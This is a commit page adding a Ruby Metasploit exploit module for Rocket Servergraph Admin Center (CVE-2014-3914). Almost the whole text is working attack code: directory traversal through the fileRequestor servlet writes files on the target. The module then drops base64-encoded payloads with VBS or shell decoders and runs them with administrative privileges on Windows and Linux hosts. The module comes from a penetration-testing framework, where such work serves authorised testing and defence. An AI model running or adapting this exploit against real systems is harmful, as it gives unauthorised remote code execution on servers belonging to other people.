Add module for Rocket Servergraph ZDI-14-161 and ZDI-14-162
parent
25ed68af6e
commit
e4d14194bb
|
@ -0,0 +1,348 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = GreatRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Rocket Servergraph Admin Center fileRequestor Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module abuses several directory traversal flaws in Rocket Servergraph Admin
|
||||
Center for Tivoli Storage Manager. The issues exist in the fileRequestor servlet,
|
||||
allowing a remote attacker to write arbitrary files and execute commands with
|
||||
administrative privileges. This module has been tested successfully on Rocket
|
||||
ServerGraph 1.2 over Windows 2008 R2 64 bits, Windows 7 SP1 32 bits and Ubuntu
|
||||
12.04 64 bits.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'rgod <rgod[at]autistici.org>', # Vulnerability discovery
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2014-3914'],
|
||||
['ZDI', '14-161'],
|
||||
['ZDI', '14-162'],
|
||||
['BID', '67779']
|
||||
],
|
||||
'Privileged' => true,
|
||||
'Platform' => %w{ linux unix win },
|
||||
'Arch' => [ARCH_X86, ARCH_X86_64, ARCH_CMD],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 8192, # it's writing a file, so just a long enough value
|
||||
'DisableNops' => true
|
||||
#'BadChars' => (0x80..0xff).to_a.pack("C*") # Doesn't apply
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Linux (Native Payload)',
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86
|
||||
}
|
||||
],
|
||||
[ 'Linux (CMD Payload)',
|
||||
{
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD
|
||||
}
|
||||
],
|
||||
[ 'Windows / VB Script',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86
|
||||
}
|
||||
],
|
||||
[ 'Windows CMD',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_CMD
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Oct 30 2013'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8888)
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('TRAVERSAL_DEPTH', [ true, 'Traversal depth to hit the root folder', 20]),
|
||||
OptString.new("WINDIR", [ true, 'The Windows Directory name', 'WINDOWS' ]),
|
||||
OptString.new("TEMP_DIR", [ false, 'A directory where we can write files' ])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def check
|
||||
os = get_os
|
||||
|
||||
if os.nil?
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
def exploit
|
||||
os = get_os
|
||||
|
||||
if os == 'win' && target.name =~ /Linux/
|
||||
fail_with(Failure::BadConfig, "#{peer} - Windows system detected, but Linux target selected")
|
||||
elsif os == 'linux' && target.name =~ /Windows/
|
||||
fail_with(Failure::BadConfig, "#{peer} - Linux system detected, but Windows target selected")
|
||||
elsif os.nil?
|
||||
print_warning("#{peer} - Failed to detect remote operating system, trying anyway...")
|
||||
end
|
||||
|
||||
if target.name =~ /Windows.*VB/
|
||||
exploit_windows_vbs
|
||||
elsif target.name =~ /Windows.*CMD/
|
||||
exploit_windows_cmd
|
||||
elsif target.name =~ /Linux.*CMD/
|
||||
exploit_linux_cmd
|
||||
elsif target.name =~ /Linux.*Native/
|
||||
exploit_linux_native
|
||||
end
|
||||
end
|
||||
|
||||
def exploit_windows_vbs
|
||||
traversal = "\\.." * traversal_depth
|
||||
payload_base64 = Rex::Text.encode_base64(generate_payload_exe)
|
||||
temp = temp_dir('win')
|
||||
decoder_file_name = "#{rand_text_alpha(4 + rand(3))}.vbs"
|
||||
encoded_file_name = "#{rand_text_alpha(4 + rand(3))}.b64"
|
||||
exe_file_name = "#{rand_text_alpha(4 + rand(3))}.exe"
|
||||
|
||||
print_status("#{peer} - Dropping the encoded payload to filesystem...")
|
||||
write_file("#{traversal}#{temp}#{encoded_file_name}", payload_base64)
|
||||
|
||||
vbs = generate_decoder_vbs({
|
||||
:temp_dir => "C:#{temp}",
|
||||
:encoded_file_name => encoded_file_name,
|
||||
:exe_file_name => exe_file_name
|
||||
})
|
||||
print_status("#{peer} - Dropping the VBS decoder to filesystem...")
|
||||
write_file("#{traversal}#{temp}#{decoder_file_name}", vbs)
|
||||
|
||||
register_files_for_cleanup("C:#{temp}#{decoder_file_name}")
|
||||
register_files_for_cleanup("C:#{temp}#{encoded_file_name}")
|
||||
register_files_for_cleanup("C:#{temp}#{exe_file_name}")
|
||||
print_status("#{peer} - Executing payload...")
|
||||
execute("#{traversal}\\#{win_dir}\\System32\\cscript //nologo C:#{temp}#{decoder_file_name}")
|
||||
end
|
||||
|
||||
|
||||
def exploit_windows_cmd
|
||||
traversal = "\\.." * traversal_depth
|
||||
execute("#{traversal}\\#{win_dir}\\System32\\cmd.exe /B /C #{payload.encoded}")
|
||||
end
|
||||
|
||||
def exploit_linux_native
|
||||
traversal = "/.." * traversal_depth
|
||||
payload_base64 = Rex::Text.encode_base64(generate_payload_exe)
|
||||
temp = temp_dir('linux')
|
||||
encoded_file_name = "#{rand_text_alpha(4 + rand(3))}.b64"
|
||||
decoder_file_name = "#{rand_text_alpha(4 + rand(3))}.sh"
|
||||
elf_file_name = "#{rand_text_alpha(4 + rand(3))}.elf"
|
||||
|
||||
print_status("#{peer} - Dropping the encoded payload to filesystem...")
|
||||
write_file("#{traversal}#{temp}#{encoded_file_name}", payload_base64)
|
||||
|
||||
decoder = <<-SH
|
||||
#!/bin/sh
|
||||
|
||||
base64 --decode #{temp}#{encoded_file_name} > #{temp}#{elf_file_name}
|
||||
chmod 777 #{temp}#{elf_file_name}
|
||||
#{temp}#{elf_file_name}
|
||||
SH
|
||||
|
||||
print_status("#{peer} - Dropping the decoder to filesystem...")
|
||||
write_file("#{traversal}#{temp}#{decoder_file_name}", decoder)
|
||||
|
||||
register_files_for_cleanup("#{temp}#{decoder_file_name}")
|
||||
register_files_for_cleanup("#{temp}#{encoded_file_name}")
|
||||
register_files_for_cleanup("#{temp}#{elf_file_name}")
|
||||
|
||||
print_status("#{peer} - Giving execution permissions to the decoder...")
|
||||
execute("#{traversal}/bin/chmod 777 #{temp}#{decoder_file_name}")
|
||||
|
||||
print_status("#{peer} - Executing decoder and payload...")
|
||||
execute("#{traversal}/bin/sh #{temp}#{decoder_file_name}")
|
||||
end
|
||||
|
||||
def exploit_linux_cmd
|
||||
temp = temp_dir('linux')
|
||||
elf = rand_text_alpha(4 + rand(4))
|
||||
|
||||
traversal = "/.." * traversal_depth
|
||||
print_status("#{peer} - Dropping payload...")
|
||||
write_file("#{traversal}#{temp}#{elf}", payload.encoded)
|
||||
register_files_for_cleanup("#{temp}#{elf}")
|
||||
print_status("#{peer} - Providing execution permissions...")
|
||||
execute("#{traversal}/bin/chmod 777 #{temp}#{elf}")
|
||||
print_status("#{peer} - Executing payload...")
|
||||
execute("#{traversal}#{temp}#{elf}")
|
||||
end
|
||||
|
||||
def generate_decoder_vbs(opts = {})
|
||||
decoder_path = File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64")
|
||||
|
||||
f = File.new(decoder_path, "rb")
|
||||
decoder = f.read(f.stat.size)
|
||||
f.close
|
||||
|
||||
decoder.gsub!(/>>decode_stub/, "")
|
||||
decoder.gsub!(/^echo /, "")
|
||||
decoder.gsub!(/ENCODED/, "#{opts[:temp_dir]}#{opts[:encoded_file_name]}")
|
||||
decoder.gsub!(/DECODED/, "#{opts[:temp_dir]}#{opts[:exe_file_name]}")
|
||||
|
||||
decoder
|
||||
end
|
||||
|
||||
def get_os
|
||||
os = nil
|
||||
path = ""
|
||||
hint = rand_text_alpha(3 + rand(4))
|
||||
|
||||
res = send_request(20, "writeDataFile", rand_text_alpha(4 + rand(10)), "/#{hint}/#{hint}")
|
||||
|
||||
if res && res.code == 200 && res.body =~ /java.io.FileNotFoundException: (.*)\/#{hint}\/#{hint} \(No such file or directory\)/
|
||||
path = $1
|
||||
elsif res && res.code == 200 && res.body =~ /java.io.FileNotFoundException: (.*)\\#{hint}\\#{hint} \(The system cannot find the path specified\)/
|
||||
path = $1
|
||||
end
|
||||
|
||||
if path =~ /^\//
|
||||
os = 'linux'
|
||||
elsif path =~ /^[a-zA-Z]:\\/
|
||||
os = 'win'
|
||||
end
|
||||
|
||||
os
|
||||
end
|
||||
|
||||
def temp_dir(os)
|
||||
temp = ""
|
||||
case os
|
||||
when 'linux'
|
||||
temp = linux_temp_dir
|
||||
when 'win'
|
||||
temp = win_temp_dir
|
||||
end
|
||||
|
||||
temp
|
||||
end
|
||||
|
||||
def linux_temp_dir
|
||||
dir = "/tmp/"
|
||||
|
||||
if datastore['TEMP_DIR'] && !datastore['TEMP_DIR'].empty?
|
||||
dir = datastore['TEMP_DIR']
|
||||
end
|
||||
|
||||
unless dir.start_with?("/")
|
||||
dir = "/#{dir}"
|
||||
end
|
||||
|
||||
unless dir.end_with?("/")
|
||||
dir = "#{dir}/"
|
||||
end
|
||||
|
||||
dir
|
||||
end
|
||||
|
||||
def win_temp_dir
|
||||
dir = "\\#{win_dir}\\Temp\\"
|
||||
|
||||
if datastore['TEMP_DIR'] && !datastore['TEMP_DIR'].empty?
|
||||
dir = datastore['TEMP_DIR']
|
||||
end
|
||||
|
||||
dir.gsub!(/\//, "\\")
|
||||
dir.gsub!(/^([A-Za-z]:)?/, "")
|
||||
|
||||
unless dir.start_with?("\\")
|
||||
dir = "\\#{dir}"
|
||||
end
|
||||
|
||||
unless dir.end_with?("\\")
|
||||
dir = "#{dir}\\"
|
||||
end
|
||||
|
||||
dir
|
||||
end
|
||||
|
||||
def win_dir
|
||||
dir = "WINDOWS"
|
||||
if datastore['WINDIR']
|
||||
dir = datastore['WINDIR']
|
||||
dir.gsub!(/\//, "\\")
|
||||
dir.gsub!(/[\\]*$/, "")
|
||||
dir.gsub!(/^([A-Za-z]:)?[\\]*/, "")
|
||||
end
|
||||
|
||||
dir
|
||||
end
|
||||
|
||||
def traversal_depth
|
||||
depth = 20
|
||||
|
||||
if datastore['TRAVERSAL_DEPTH'] && datastore['TRAVERSAL_DEPTH'] > 1
|
||||
depth = datastore['TRAVERSAL_DEPTH']
|
||||
end
|
||||
|
||||
depth
|
||||
end
|
||||
|
||||
def write_file(file_name, contents)
|
||||
res = send_request(20, "writeDataFile", Rex::Text.uri_encode(contents), file_name)
|
||||
|
||||
unless res && res.code == 200 && res.body.to_s =~ /Data successfully writen to file: /
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to write file... aborting")
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
def execute(command)
|
||||
res = send_request(1, "run", command)
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
def send_request(timeout, command, query, source = rand_text_alpha(rand(4) + 4))
|
||||
data = "&invoker=#{rand_text_alpha(rand(4) + 4)}"
|
||||
data << "&title=#{rand_text_alpha(rand(4) + 4)}"
|
||||
data << "¶ms=#{rand_text_alpha(rand(4) + 4)}"
|
||||
data << "&id=#{rand_text_alpha(rand(4) + 4)}"
|
||||
data << "&cmd=#{command}"
|
||||
data << "&source=#{source}"
|
||||
data << "&query=#{query}"
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => normalize_uri('/', 'SGPAdmin', 'fileRequest'),
|
||||
'method' => 'POST',
|
||||
'data' => data
|
||||
}, timeout)
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue